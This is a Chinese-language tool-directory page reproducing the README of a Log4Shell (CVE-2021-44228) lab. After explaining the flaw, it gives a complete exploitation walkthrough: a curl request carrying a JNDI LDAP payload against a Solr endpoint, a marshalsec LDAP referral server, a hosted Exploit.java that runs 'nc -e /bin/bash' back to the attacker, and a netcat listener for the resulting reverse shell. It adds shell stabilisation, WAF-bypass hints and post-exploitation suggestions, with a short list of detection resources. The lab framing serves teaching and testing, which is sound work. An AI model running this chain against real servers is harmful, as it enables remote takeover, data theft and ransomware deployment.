Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Log4j_CVE-2021-44228 — # 利用 Log4Shell(CVE-2021-44228)的动手实验练习 通过 JNDI 注入、LDAP 引用服务器和反弹 Shell 载荷来利用 Log4Shell(CVE-2021-44228)的动手实验练习。涵盖检测、绕过技术及后渗透利用指南。 | Kitploit
工具/GitHubGitHub/muhammad-ali007/log4j_cve-2021-44228
漏洞分析漏洞利用后渗透利用WAF绕过渗透测试命令与控制学习与教育Payload 开发实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHubmuhammad-ali007/log4j_cve-2021-44228

Log4j_CVE-2021-44228

# 利用 Log4Shell(CVE-2021-44228)的动手实验练习 通过 JNDI 注入、LDAP 引用服务器和反弹 Shell 载荷来利用 Log4Shell(CVE-2021-44228)的动手实验练习。涵盖检测、绕过技术及后渗透利用指南。

查看仓库
193年前尚未审核
分享

Log4j 漏洞,又称"Log4Shell"或"CVE-2021-44228",是 Apache Log4j 库中的一个严重安全缺陷。Log4j 是一个广泛使用的基于 Java 的日志记录框架,允许开发人员将应用程序中的日志消息记录到各种目的地,如文件、数据库和控制台输出。

该漏洞于 2021 年 12 月被发现,并因其严重性和可利用性而受到广泛关注。它影响 Log4j 2.x 版本,在某些情况下甚至影响更早的版本。Log4j 漏洞是一个远程代码执行(RCE)漏洞,意味着攻击者可以通过利用该缺陷在目标系统上执行任意代码。该漏洞由 Log4j 库中与处理包含特制数据的日志消息相关的设计缺陷引起。

利用该漏洞依赖于向日志消息中注入恶意代码的能力。这可以通过各种途径实现,例如用户控制的输入字段、HTTP 请求头,或其他传递给日志语句的用户提供的数据。

当易受攻击的应用程序处理包含特制数据的日志消息时,Log4j 会将数据解释为 Java 命名和目录接口(JNDI)查找。通过利用此行为,攻击者可以构造一个 payload,触发对攻击者控制的恶意服务器的 JNDI 查找。该服务器随后可以响应一个在目标系统上执行的 payload,从而使攻击者实现远程代码执行。

Log4j 漏洞的影响十分严重,因为 Log4j 被广泛用于各种基于 Java 的应用程序,包括 Web 服务器、应用程序和云服务。该漏洞允许攻击者未经授权访问受影响的系统,可能导致数据泄露、系统被入侵,以及对被入侵环境的进一步利用。

如今,log4j 2.16.0 版本已经可用,并修补了此漏洞(JNDI 已完全禁用,消息查找(Message Lookups)支持已移除,新的 DoS 漏洞 CVE-2021-45046 也不存在)。(https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)

然而,该漏洞的巨大危险性在于日志记录包的普遍性。数以百万计的应用程序以及软件供应商在自己的代码中将此包用作依赖项。虽然您可以修补自己使用 log4j 的代码库,但其他供应商和制造商仍然需要向下游推送他们自己的安全更新。许多安全研究人员因其巨大的攻击面而将此漏洞比作 Shellshock。未来数年我们仍将看到该漏洞的影响。

如需获取不断增长的、由社区维护的易受 CVE-2021-44228 影响的软件和服务列表,请查看此 GitHub 仓库 (https://github.com/YfryTchsGD/Log4jAttackSurface)

虽然围绕 CVE-2021-44228 有许多其他文章、博客、资源和学习材料,但我(本练习的作者)特别偏爱以下这些:

  • https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
  • https://log4shell.huntress.com/
  • https://www.youtube.com/watch?v=7qoPDq41xhQ

log4j 包通过"解析"条目为日志添加额外逻辑,最终目的是丰富数据——但也可能根据条目数据执行操作,甚至评估代码。这就是 CVE-2021-44228 的核心。其他语法实际上可能会在输入日志文件时就被执行。该语法的一些示例如下:

  • ${sys:os.name}
  • ${sys:user.name}
  • ${log4j:configParentLocation}
  • ${ENV:PATH}
  • ${ENV:HOSTNAME}
  • ${java:version}

您可能已经知道利用此 log4j 漏洞的通用 payload。利用该漏洞的常见语法格式如下:

  • ${jndi:ldap://ATTACKERCONTROLLEDHOST}

该语法表示 log4j 将调用"JNDI"或"Java 命名和目录接口"的功能。最终,它可以用来访问外部资源或"引用",这正是本次攻击中被武器化的内容。

请注意 "ldap://" 协议。这表示目标将通过网络协议 LDAP 连接到一个端点(在此攻击中为攻击者控制的位置)。为简洁起见,我们不需要在此涵盖 LDAP 的所有细节,但要知道这是我们在完善攻击时需要处理的内容。目前,只需知道目标确实会与外部位置建立连接。上述语法中的 ATTACKERCONTROLLEDHOST 占位符即表示该位置。在此场景中,您作为攻击者,可以托管一个简单的监听器来查看此连接。

下一个问题是,我们可以在哪里输入此语法? 任何应用程序记录数据的地方。

这就是该漏洞的关键所在。不幸的是,很难确定不同应用程序的攻击面在哪里,因此也很难确定哪些应用程序实际上易受攻击。仅仅看到 log4j 文件的存在并不能提示确切的版本号,甚至无法提示应用程序可能在何处或如何使用该包。

您可以提供此 JNDI 语法的其他位置:

  • 输入框、用户名和密码登录表单、应用程序内的数据输入点
  • HTTP 头,如 User-Agent、X-Forwarded-For 或其他可自定义的请求头
  • 任何接受用户提供数据的位置

如果您想了解有关此 JNDI 攻击向量的更多信息,请查阅 2016 年 Black Hat USA 的这份演示文稿。 https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

POC

  • 要准备环境以测试漏洞并接收连接,请使用以下命令查看您自己攻击机的 IP 地址: user@host$ ip addr show
  • 在您选择的任意端口上准备一个 netcat 监听器(9999 就是个很好的例子): user@host$ nc -lnvp 9999
  • 现在您已经准备好了监听器,请发出一个请求,将该原始 JNDI payload 语法作为 HTTP 参数的一部分。使用 curl 命令行工具即可轻松完成。 user@host$ curl 'h<target_url>/solr/?foo=${jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999}' 注意,由于语法中使用了 $ 美元符号字符,您必须确保将 URL 包裹在单引号中,以便 bash(您的命令行 shell)不会将其解释为变量。此外,您必须使用单个反斜杠字符转义 { } 花括号,以免它们在 curl 命令参数中被错误表示。
  • 通过在您的 netcat 监听器中看到以下消息来验证您已收到连接: Connection received from <x.x.x.x>

漏洞利用 此时,您已在 netcat 监听器中看到该连接,从而确认目标确实易受攻击。但是,它发出的是一个 LDAP 请求……因此您的 netcat 监听器可能只看到了不可打印的字符(看起来奇怪的字节)。现在我们可以在此基础上构建,用一个真正的 LDAP 处理器来响应。

我们将使用一个开源且公开的实用程序来搭建"LDAP 引用服务器"(LDAP Referral Server)。这本质上用于将受害者的初始请求重定向到另一个位置,您可以在那里托管一个辅助 payload,最终在目标上运行代码。具体分解如下:

  • ${jndi:ldap://attackerserver:1389/Resource} -> 连接到我们的 LDAP 引用服务器
  • LDAP 引用服务器将请求跳转到辅助的 http://attackerserver/resource
  • 受害者检索并执行 http://attackerserver/resource 中的代码

这意味着我们需要一个 HTTP 服务器,我们可以使用以下任一选项轻松托管它(在端口 8000 上提供服务):

  • python3 -m http.server
  • php -S 0.0.0.0:8000 (或任何其他您喜欢的 busybox httpd 或正式 Web 服务)

但首要任务是获取 LDAP 引用服务器。我们将使用 https://github.com/mbechler/marshalsec 提供的 marshalsec 实用程序。

最终,这需要运行 Java。查看该实用程序的 README,它建议使用 Java 8。(使用其他版本您可能会或可能不会成功,但为了"遵守规则",我们将匹配目标机器上使用的相同 Java 版本)。

请参阅在本地安装 Java 8 的步骤:

  • 如果您的攻击机未运行 1.8.0_181,您可以查看下面的"update-alternatives --set"步骤以切换到该 Java 8 版本。您可以在以下位置找到可在 Linux 上运行的不同 Java 版本的镜像。http://mirrors.rootpei.com/jdk/

运行以下命令将您的系统配置为默认使用此 Java 版本(视情况调整下载文件系统路径): 命令: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # modify the version as needed sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

完成上述下载、解压并设置适当的文件系统设置(update-alternatives 语法)后,您应该能够运行"java -version"并验证您确实正在运行 Java 1.8.0_181。

克隆(https://github.com/mbechler/marshalsec)并切换目录进入这个新文件夹"marshalsec"。

我们必须使用 Java 构建工具 maven 来构建 marshalsec。如果您的系统上还没有 maven,可以通过包管理器安装它: 命令: sudo apt install maven

接下来,运行命令构建 marshalsec 实用程序: 命令: mvn clean package -DskipTests

构建好 marshalsec 实用程序后,我们可以启动一个 LDAP 引用服务器,将连接引导到我们的辅助 HTTP 服务器(我们稍后就会准备)。非常欢迎您深入研究此工具可以配置的用法、参数和其他设置——但为了演示,启动 LDAP 服务器的语法如下: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000.

现在我们的 LDAP 服务器已准备就绪并在等待,我们可以打开第二个终端窗口来准备我们的最终 payload 和辅助 HTTP 服务器。

最终,log4j 漏洞将执行您用 Java 编程语言编写的任意代码。如果您不熟悉 Java,别担心——我们将使用简单的语法,只需"调用"系统命令即可。实际上,我们将获取一个反向 shell 连接,从而控制目标机器!创建并进入一个新目录来托管此 payload。首先,在您选择的文本编辑器(mousepad、nano、vim、Sublime Text、VS Code 等)中创建您的 payload,具体名称为"Exploit.java"(本仓库中提供)。根据需要修改您的攻击机 IP 地址和端口号。

对于此 payload,您可以看到我们将在目标上执行一个命令,具体是使用 nc -e /bin/bash 回连到我们的攻击机,但非常欢迎您尝试其他 payload。

使用"javac Exploit.java"编译您的 payload,并通过运行"ls"命令找到新创建的"Exploit.class"来验证是否成功。创建并编译好 payload 后,您现在可以通过启动一个临时 HTTP 服务器来托管它。 user@host:~/ python3 -m http.server

您的 payload 已创建并编译完成,在一个终端中通过 HTTP 服务器托管,您的 LDAP 引用服务器在另一个终端中已启动并等待——接下来在另一个新的终端窗口中准备一个 netcat 监听器来捕获您的反向 shell: user@host$ nc -lnvp 9999

最后,剩下要做的就是触发漏洞利用并发出我们的 JNDI 语法!请注意端口号的变化(现在指向我们的 LDAP 服务器)以及我们检索的资源,指定我们的 exploit(根据需要修改您的攻击机 IP 地址): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'

您现在已获得初始访问权和命令与控制权。此时,威胁行为者实际上可以对受害者做任何他们想做的事情——无论是权限提升、数据外泄、安装持久化、横向移动还是任何其他后渗透操作——可能投放加密货币挖矿程序、远程访问木马、beacon 和植入程序,甚至部署勒索软件。

持久化 现在您已在受害机器上获得了一个反向 shell 连接,可以继续采取您想做的任何操作。为了更好地理解此 log4j 漏洞,让我们授予自己"更好的访问权限",以便探索机器、分析受影响的日志,甚至缓解该漏洞!

如果您想"稳定您的 shell"以便更轻松地输入命令,可以使用常用的升级技巧(假设您在 bash shell 中运行。如果您在 zsh 中运行,则需要先在 bash 子 shell 中启动您的 netcat 监听器……重新利用漏洞应该很容易):

  • (在反向 shell 上)python3 -c "import pty; pty.spawn('/bin/bash')"
  • (在键盘上按)Ctrl+Z
  • (在键盘上按)Enter
  • (在本地主机上)stty raw -echo
  • (在本地主机上)fg(您将看不到您的按键——相信自己并按 Enter)
  • (在键盘上按)Enter
  • (在键盘上按)Enter
  • (在反向 shell 上)export TERM=xterm

您现在拥有了一个稳定的 shell,可以安全地使用左右箭头键在输入中移动,使用上下箭头键查看命令历史,使用 Tab 键自动补全,并且可以安全地按 Ctrl+C 停止正在运行的程序!

检测 不幸的是,查找易受 CVE-2021-44228 "Log4Shell" 影响的应用程序很困难。考虑到无限数量的潜在绕过方式,检测漏洞利用可能更难。

话虽如此,信息安全社区已经付出了令人难以置信的努力和支持,来开发工具、脚本和代码以更好地约束这一威胁。您可以在网上找到大量资源。

以下是一些可能有助于这两项工作的片段:

  • https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes (本地,基于 log4j JAR 文件的哈希)
  • https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d (本地,基于 log4j CLASS 文件的哈希)
  • https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228 (易受攻击的 JAR 和 CLASS 哈希列表)
  • https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1 (本地,在 PowerShell 中搜索易受攻击的 log4j 包)
  • https://github.com/darkarnium/CVE-2021-44228 (本地,YARA 规则)

提醒一下,这里有一个庞大的资源:

  • https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

绕过 我展示的 JNDI payload 是执行此攻击的标准和"典型"语法。如果您是渗透测试人员或红队成员,此语法可能会被 Web 应用防火墙(WAF)捕获或轻易检测到。如果您是蓝队成员或事件响应人员,您应该积极搜寻并检测该语法。

由于此攻击利用 log4j,payload 最终可以访问该包提供的所有相同的扩展、替换和模板技巧。这意味着威胁行为者可以使用任何类型的技巧来隐藏、掩盖或混淆 payload。

考虑到这一点,老实说,偷偷塞入此语法的方式有无限多种。虽然我们不会在本练习中深入探讨细节,但鼓励您在此环境中玩弄它们。请仔细阅读它们,以了解使用了哪些技巧来伪装原始语法。

下载工具